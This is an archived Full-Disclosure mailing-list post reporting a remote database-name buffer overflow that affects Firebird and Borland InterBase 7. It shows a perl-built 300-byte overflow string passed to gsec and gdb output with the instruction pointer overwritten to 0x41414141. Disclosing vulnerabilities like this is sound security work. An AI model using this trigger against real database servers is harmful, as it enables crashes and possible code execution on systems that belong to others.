full-disclosure - Firebird [ AND Interbase 7 ] Database Remote Database Name Overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <40BE8707.6090707@secnetops.com>
From: kf_lists at secnetops.com (KF (lists))
Subject: Firebird [ AND Interbase 7 ]  Database Remote Database Name Overflow

Someone that has had some success communicating things security wise to 
Borland may wish to contact them about this.

[root@...neRiot bin]# rpm -ivh /root/InterBaseSS_LI-V7.1.0-1.i386.rpm

[kf@...neRiot bin]$ pwd
/opt/interbase/bin
[kf@...neRiot bin]$ ./gsec -database 127.0.0.1:`perl -e'print ("A"x300)'`

(gdb) c
Continuing.
[New Thread 1085279152 (LWP 21355)]
[New Thread 1095769008 (LWP 21356)]
[New Thread 1106258864 (LWP 21357)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1085279152 (LWP 21355)]
0x41414141 in ?? ()
(gdb) bt
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
...
#35 0x41414141 in ?? ()
#36 0x41414141 in ?? ()
(gdb)

(gdb) i r
eax            0x0      0
ecx            0x82025e4        136324580
edx            0x0      0
ebx            0x81fe29c        136307356
esp            0x40aff5f8       0x40aff5f8
ebp            0x41414141       0x41414141
esi            0x12c    300
edi            0x40affab8       1085274808
eip            0x41414141       0x41414141
eflags         0x10246  66118

(gdb) x/1s $esp
0x40aff5f8:      'A' <repeats 144 times>

[root@...neRiot interbase]# ./bin/ibserver
Segmentation fault
-KF


Noam Rathaus wrote:

>On Sunday 02 June 2002 01:52, KF (lists) wrote:
>  
>
>>So is this firebird specific or does it also impact Borland Interbase
>>users?
>>-KF
>>
>>    
>>
>We haven't tested Borland's Interbase as we didn't have any installation 
>available for testing. However I can assume that since this vulnerability 
>appears in version 1.0.2, which is of very close resemblance to Borland's 
>Interbase sources, that the vulnerability may also affect it.
>
>  
>